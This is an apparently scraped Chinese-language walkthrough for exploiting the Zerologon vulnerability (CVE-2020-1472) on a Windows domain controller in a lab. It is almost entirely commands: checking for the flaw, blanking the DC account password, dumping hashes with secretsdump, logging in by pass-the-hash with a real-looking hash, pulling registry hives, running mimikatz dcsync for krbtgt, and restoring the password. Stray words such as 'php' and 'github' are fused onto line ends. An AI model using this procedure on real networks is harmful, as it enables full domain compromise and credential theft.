cve-2020-1472,netlogon特權提高漏洞,php
漏洞原理:攻擊者經過NetLogon(MS-NRPC),創建與域控間易受攻擊的安全通道時,可利用此漏洞獲取域管訪問權限。成功利用此漏洞的攻擊者能夠在該網絡中的設備上運行經特殊設計的應用程序。python
影響版本號:git
Windows Server 2008 R2 for x64-based Systems Service Pack 1 Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation) Windows Server 2012 Windows Server 2012 (Server Core installation) Windows Server 2012 R2 Windows Server 2012 R2 (Server Core installation) Windows Server 2016 Windows Server 2016 (Server Core installation) Windows Server 2019 Windows Server 2019 (Server Core installation) Windows Server, version 1903 (Server Core installation) Windows Server, version 1909 (Server Core installation) Windows Server, version 2004 (Server Core installation)
pip3 install -r requirements 安裝requirements的依賴環境
安裝最新的impacket方法:github
git clone https://github.com/SecureAuthCorp/impacket.git cd impacket virtualenv --python=python3 impacket source impacket/bin/activate pip3 install . python3 -m pip install .
step1:探測目標機是否存在cve-2020-1472安全
python3 zerologon_tester.py 域控主機名 域控IP python3 zerologon_tester.py win08 192.168.223.133
step2: 將目標機中域控win08$的密碼清空網絡
python3 cve-2020-1472-exploit.py 域控主機名 域控IP python3 cve-2020-1472-exploit.py win08 192.168.223.133
step3:使用impacket下的secretdump.py去獲取域控的HASHdom
secretsdump.py test.com/win08\$@192.168.223.133 -no-pass
使用PTH登陸域控;工具
psexec.py test.com/administrator@192.168.223.133 -hashes :獲取的administrator中hash值 wmiexec.py test.com/administrator@192.168.223.133 -hashes :獲取的administrator中hash值 wmiexec.py test.com/administrator@192.168.223.133 -hashes :afffeba176210fad4628f0524bfe1942
執行系統命令post
reg save hklm\sam sam.hive reg save hklm\system system.hive reg save hklm\security security.hive 注:上述產生的文件是存在目標機中,須要導出到攻擊機中; get sam.hive get system.hive get security.hive
使用mimikatz或者secretsdumo.py讀取文件測試
secretsdump.py -sam sam.hive -system system.hive -security security.hive LOCAL
step4:恢復域控的密碼
python3 reinstall_original_pw.py win08 192.168.223.133 79e0831681fc703c76295202fac36b0570a0d536a302ecc37341df6018b2918941743a443f9c19f26edc57c7b0dfa4f26c83419552bd45e5f110622582f27f649dd4a63be6e93d106f68b2d03043b4e24f076177084534594750ac8fc054bf3118f4bd73ac506cafb051d60d6fcff4852474ceebba12726551d81031e84e06d21380b96f1b0ad6d9736854af6fe20719aa70342ac77f75099521854ad02cac1901b87300172f03b1e185de535ebc22a568fd38c9ab53bd4fa3d621126af124e5eb1c7d74470add983f16420ca005156442bde6e08a4312fe510712911f408efde41dbd9ea8e2c0281872362250a07d2c
python3 secretdump.py test.com/win08\$@192.168.223.133 -no-pass
檢測目標機是否存在cve2020-1472
lsadump::zerologon /target:域控IP /account:域控主機名$ lsadump::zerologon /target:192.168.223.133 /account:win08$
清空域控密碼
lsadump::zerologon /target:域控IP /account:域控主機名$ /exploit lsadump::zerologon /target:192.168.223.133 /account:win08$ /exploit
獲取目標機的HASH
lsadump::dcsync /domain:de1ay.com /dc:dc.de1ay.com /user:krbtgt /authuser:dc$ /authdomain:de1ay.com /authpassword:"" /authntlm 注意:本地測試須要將DNS指向域控 lsadump::dcsync /domain:test.com /win08:win08.test.com /user:administrator /authuser:win08$ /authdomain:test.com /authpassword:"" /authntlm
恢復密碼
lsadump::postzerologon /target:dc.de1ay.com /account:dc$ lsadump::postzerologon /target:192.168.223.133 /account:win08$
注:mimikatz在讀取域內HASH的時候須要配置DNS 指向域控 /dc: win08.test.com 這裏填寫域控的完整的名字 ; 輸入參數都正確的狀況還獲取不了, 重啓AD服務 在恢復密碼的時候注意先去運行privilege::debug
